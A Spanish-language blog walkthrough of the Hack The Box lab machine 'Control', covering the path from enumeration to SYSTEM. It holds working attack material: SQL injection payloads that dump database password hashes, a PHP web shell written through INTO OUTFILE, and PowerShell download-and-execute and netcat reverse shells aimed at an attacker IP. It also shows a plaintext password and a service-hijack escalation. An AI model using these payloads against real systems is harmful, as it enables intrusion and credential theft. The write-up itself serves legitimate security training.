lund@home:~$

Autor: Lund K. S.

HTB_Control HTB_Control | Hacker-Blog

HTB_Control

Control {-}

Introduccion {-}

La maquina del dia 25/08/2021 se llama Control.

El replay del live se puede ver aqui

S4vitaar Control maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.167

ttl: 127 -> maquina Windows

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.167

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.167 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p80,135,3306,49666,49667 10.10.10.167 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
80 http Web, Fuzzing  
135 msrpc    
3306 mysql SQLI  
49666 msrpc puertos por defectos  
49667 msrpc puertos por defectos  

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.167

Nos enfrentamos a un Microsoft IIS 10.0 con PHP 7.3.7.

http-enum {-}

Lanzamos un web scan con nmap.

nmap –script http-enum -p80 10.10.10.167 -oN webScan

Nos detecta la routa admin

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.167/FUZZ

Encontramos las routas uploads, admin

Analyzando la web con Firefox {-}

Entramos en una pagina, hay un boton admin en el menu y uno login. Si miramos el codigo fuente vemos un comentario una Todo List:

  • Import products
  • Link to new payment system
  • Enable SSL (Certificates location \192.168.4.28\myfiles)

El ultimo en este caso es muy interesante.

Si pinchamos el link admin, vemos un mensaje Acces Denied: Header Missing. Please ensure you go through the proxy to access this page. En este caso cuando se habla de proxy y de cabezera podemos uzar la heramienta curl con la cabezera X-Forwarded-for

Cabezera proxy {-}

curl -s -X GET "http://10.10.10.167/admin.php" -H "X-Forwarded-For: 192.168.4.28"

Aqui vemos que nos a cargado una pagina.

curl -s -X GET "http://10.10.10.167/admin.php" -H "X-Forwarded-For: 192.168.4.28" | html2text

Como vemos informaciones interesantes, vamos a tirar de burpsuite para ver la informacion de manera normal.

Añadir cabezera desde Burpsuite {-}

Una vez el burpsuite configurado con la maquina victima de target, vamos a añadir una cabezera. Lo podemos hacer de 2 maneras:

  • Manual (cambiando de manera manual a cada peticion el header)
  • Automatizada (que cada peticion use este header)
  1. Pinchamos a Proxy > Options
  2. Add Match and Replace

Cotrol-bur-xforwardifor

  1. Interceptamos y vemos que se añade la cabezera
  2. Desactivamos el intersepte

Ya podemos navegar de manera normal.

Vemos una pagina con productos y un input para buscar productos. Si escribimos un producto, aparece una tabla con un titulo id.

Probamos poner un apostrofe ' en el input de busqueda y nos sale un error SQL Error SQLSTATE[42000] Syntax error or access violation You have an error in your SQL syntax, check the manual that corresponds to your MariaDB server version for the right syntax to use near "'" at line 1

Vulnerability Assessment {-}

SQL Injection Error Based con Python {-}

La idea aqui es crear un script en python que nos injecte el comando deseado y que filtre la respuesta al lado del servidor que queremos.

#!/usr/bin/python3

import requests
import re
import signal
import sys
import time

def def_handler(sig, frame):
    print("\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+c
signal.signal(signal.SIGINT, def_handler)

# Variables_globales
sqli_url = "http://10.10.10.167/search_products.php"

def makeRequest(injection):
    post_data = {
        'productName: '%s' % injection
    }

    headers = {
        'X-Forwarded-For': '192.168.4.28'
    }

    r = requests.post(sqli_url, data=post_data, headers=headers)
    response = re.findall(r'\<tbody\>\r\n\t\t\t\t\t\t\t(.*?)\t\t\t\t\t\t\<\/tbody\>', r.text[0])

    print("\n + response + \n")


if __name__ == '__main__':
    while True:
        injection = input("[+] Payload: ")
        if injection != "exit":
            makeRequest(injection)
        else:
            print("\n[!] Saliendo...\n")
            sys.exit(0)

si lanzamos el script con rlwrap python3 sqli_injection.py y a la entrada payload le ponemos el apostrofe, podemos ver el error. Ya podemos enumerar la base de datos.

  1. Miramos cuantas columnas hay

     [+] Payload : ' order by 100-- -
     [+] Payload : ' order by 10-- -
     [+] Payload : ' order by 8-- -
     [+] Payload : ' order by 7-- -
     [+] Payload : ' order by 6-- -
    

    Al ' order by 6-- - nos sale No product Found, ya sabemos que hay 6 columnas

  2. Aplicamos el union select

     [+] Payload : ' union select 1,2,3,4,5,6-- -
    

    Vemos que se estan colandos la etiquetas

  3. Listamos la base de datos actual en uso y el usuario

     [+] Payload : ' union select 1,2,database(),4,5,6-- -
     [+] Payload : ' union select 1,2,version(),4,5,6-- -
     [+] Payload : ' union select 1,2,user(),4,5,6-- -
    

    La base de datos se llama warehouse de typo MariaDB version 10.4.8 y el usuario manager@localhost

  4. Miramos si podemos leer archivos de la maquina victima

     [+] Payload : ' union select 1,2,load_file("C:\Windows\System32\drivers\etc\hosts"),4,5,6-- -
     [+] Payload : ' union select 1,2,load_file("Windows\System32\drivers\etc\hosts"),4,5,6-- -
     [+] Payload : ' union select 1,2,load_file("0x433a5c57696e646f77735c53797374656d33325c647269766572731b74635c686f737473"),4,5,6-- -
    

    Parece que no podemos leer ficheros del systema.

    [ ! ] NOTAS: el hexadecimal se hace con el comando echo "C:\Windows\System32\drivers\etc\hosts" | tr -d '\n' | xxd -ps | xargs | tr -d ' '

  5. Enumeramos las tablas existentes de la base de datos

     [+] Payload : ' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema="warehouse"-- -
    

    Vemos que hay una tabla product, product_category y product_pack. No parece que haya informacion relevante.

  6. Enumerar las bases de datos del systema

     [+] Payload : ' union select 1,2,group_concat(schema_name),4,5,6 from information_schema.schemata-- -
    

    Hay 3 bases de datos information_schema, mysql y warehouse.

  7. Enumeramos la base de datos mysql

     [+] Payload : ' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema="mysql"-- -
    

    Hay muchas tablas y una es la tabla user

  8. Enumeramos las columnas de la tabla user

     [+] Payload : ' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_schema="mysql" and table_name="user"-- -
    

    Existe una columna user y una password

  9. Accedemos a los usuarios y contraseñas de la base de datos

     [+] Payload : ' union select 1,2,group_concat(User,0x3a,Password),4,5,6 from mysql.user-- -
    

Copiamos los usuarios y la contraseñas en un fichero llamado hashes.

Crackeamos las contraseñas con crackstation {-}

Tratamos las informaciones del fichero hash

cat hashes | tr ',' '\n' | sed 's/\*//g' | sort -u > hashes
cat hashes | awk '{print $2}' FS=":" | xclip -sel clip

Abrimos la web de crackstation y colamos los hashes. Encontramos las contraseñas de hector y de manager.

Aqui el problema es que no tenemos puertos que nos permite conectar a la maquina de manera directa. Tenemos que intentar otra cosa para poder ganar accesso al systema.

Vuln exploit & Gaining Access {-}

Ganando accesso con SQL Injection {-}

Lo que vamos a intentar hacer, es escribir en un fichero usando la SQLI. Esto se puede hacer con el commando into outfile. Como savemos que la web es un IIS la routa por defecto de windows para hostear las webs de IIS es C:\inetpub\wwwroot y hemos encontrado una routa /uploads intentamos ver si podemos escribir nuevos ficheros.

rlwrap python3 sqli_injection.py
[+] Payload : ' union select 1,2,"test",4,5,6 into outfile "C:\inetpub\wwwroot\uploads\test.txt-- -
[+] Payload : ' union select 1,2,"test",4,5,6 into outfile "C:\\inetpub\\wwwroot\\uploads\\test.txt-- -

Si vamos a la url http://10.10.10.167/uploads/test.txt vemos el fichero creado. Intentamos injectar codigo malicioso

rlwrap python3 sqli_injection.py
[+] Payload : ' union select 1,2,"<?php echo \"<pre>\" . shell_exec($_REQUEST['cmd']) . \"</pre>\"; ?>",4,5,6 into outfile "C:\inetpub\wwwroot\uploads\s4vishell.php-- -

Ya podemos comprobar que podemos ejecutar comandos en la url http://10.10.10.167/uploads/s4vishell.php?cmd=whoami.

Vamos a por ganar accesso al systema

  1. Descargamos la nueva full TTY powershell

     git clone https://github.com/antonioCoco/ConPtyShell
     cd ConPtyShell
     stty size
     vi Invoke-ConPtyShell.ps1
    
  2. Añadimos lo siguiente al final del fichero

     Invoke-ConPtyShell -RemoteIp 10.10.14.15 -RemotePort 443 -Rows 51 -Cols 189
    
  3. Compartimos un servidor web con python

    ```bash python3 -m http.server 80 `

  4. Nos ponemos en escucha por el puerto 443

     nc -nlvp 443
    
  5. Enviamos y ejecutamos el ficher Invoke-ConPtyShell.ps1

     http://10.10.10.167/uploads/s4vishell.php?cmd=powershell IEX(New-Object Net.WebClient).downloadString("http://10.10.14.15/Invoke-ConPtyShell.ps1")
    

Ya tenemos accesso al systema

Tratamiento de la TTY {-}

^Z
stty raw -echo; fg
-> enter
-> enter

whoami
#output
error

cd C:\
#output
error

Los dos primeros commandos nos da un error pero a partir de aqui, ya tenemos una full tty shell.

Enumerando el systema {-}

cd Users/
dir
cd Hector
dir
#Output
Error

cd ../Administrator
dir
#Output
Error

No tenemos derechos para entrar en los directorios de los Usuarios. Pero tenemos una contraseña para el usuario Hector.

User pivoting al usuario hector {-}

Vemos si podemos lanzar commandos como el usuario hector.

hostname
#Output
Fidelity

$user = 'fidelity\hector'
$password = 'l33th4x0rhector'
$secpw = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCrendential $user,$secpw
Invoke-Command -ComputerName localhost -Cred $cred -ScriptBlock {whoami}
#Output
control\hector

Hemos podido lanzar un script enjaolado sobre un Blocke como si fuera el usuario hector que lo ejecutara. La idea aqui es entablarnos una reverse shell ejecutada como el usuario hector.

  1. Enviamos un nc.exe a la maquina victima

    • en la maquina de atacante

        locate nc.exe
        cp /usr/share/sqlninja/apps/nc.exe .
        impacket-smbserver smbFolder $(pwd) -smb2support -username s4vitar -password s4vitar123
      
    • en la maquina victima

        cd C:\Windows\Temp
        mkdir userPivoting
        cd userPivoting
        net use x: \\10.10.14.15\smbFolder /user:s4vitar s4vitar123
        copy x:\nc.exe nc.exe
      
  2. Lanzamos la reverse shell como el usuario hector

    • en la maquina de atacante

        rlwrap nc -nlvp 443
      
    • en la maquina victima

        Invoke-Command -ComputerName localhost -Cred $cred -ScriptBlock {C:\Windows\Temp\userPivoting\nc.exe -e cmd 10.10.14.15 443 }
      

      tenemos un error, quiere decir que tenemos que passar por un AppLockerByPass. Las routas se pueden encontrar en UltimateAppLockerByPassList.

        cp nc.exe C:\Windows\System32\spool\drivers\color\nc.exe
        C:\Windows\System32\spool\drivers\color\nc.exe -e cmd 10.10.14.15 443
      

Ya hemos ganado acceso al systema como el usuario hector y podemos ver la flag.## Privilege Escalation {-}

Rootear la maquina {-}

whoami
whoami /priv

Como no tenemos posibilidades de escalar privilegios con un seImpersonatePrivilege por ejemplo, vamos a tener que enumerar el systema

cd C:\Windows\Temp
mkdir privesc

Descargamos el Winpeas.exe. Cancelamos el recurso smb y creamos un nuevo para transferir el fichero.

mv /home/s4vitar/Descargas/winPEASx64.exe ./winpeas.exe
impacket-smbserver smbFolderr $(pwd) -smb2support -username s4vitar -password s4vitar123

y lo transferimos a la maquina victima

net use y: \\10.10.14.15\smbFolderr /user:s4vitar s4vitar123
copy y:\winpeas.exe winpeas.exe
dir
winpeas.exe

El winpeas.exe nos reporta que el usuario Hector tiene fullControl sobre bastante servicios, uno de ellos es el seclogon.

```{r, echo = FALSE, fig.cap=”Hector service fullControl”, out.width=”90%”} knitr::include_graphics(“images/Control-Hector-services-fullControl.png”)

Cotrol-Hector-services-fullCotrol

reg query "HKLM\system\currentcontrolset\services\seclogon"

```{r, echo = FALSE, fig.cap=”service seclogon reg-expand-sz”, out.width=”90%”} knitr::include_graphics(“images/Control-reg_expand_sz.png”)


```bash
![Cotrol-re_exad_sz](../assets/images/Control-reg_expand_sz.png) 
reg add "HKLM\system\currentcontrolset\services\seclogon" /t REG_EXPAND_SZ /v ImagePath /d "C:\Windows\System32\spool\drivers\color\nc.exe -e cmd 10.10.14.15 443" /f

Ya podemos comprobar con el commando reg query "HKLM\system\currentcontrolset\services\seclogon" que el ImagePath a sido cambiado.

  1. Nos ponemos en escucha por el puerto 443

     nc -nlvp 443
    
  2. arrancamos el servicio

     sc start seclogon
    

ya hemos ganado accesso al systema como nt authority\system y podemos leer la flag.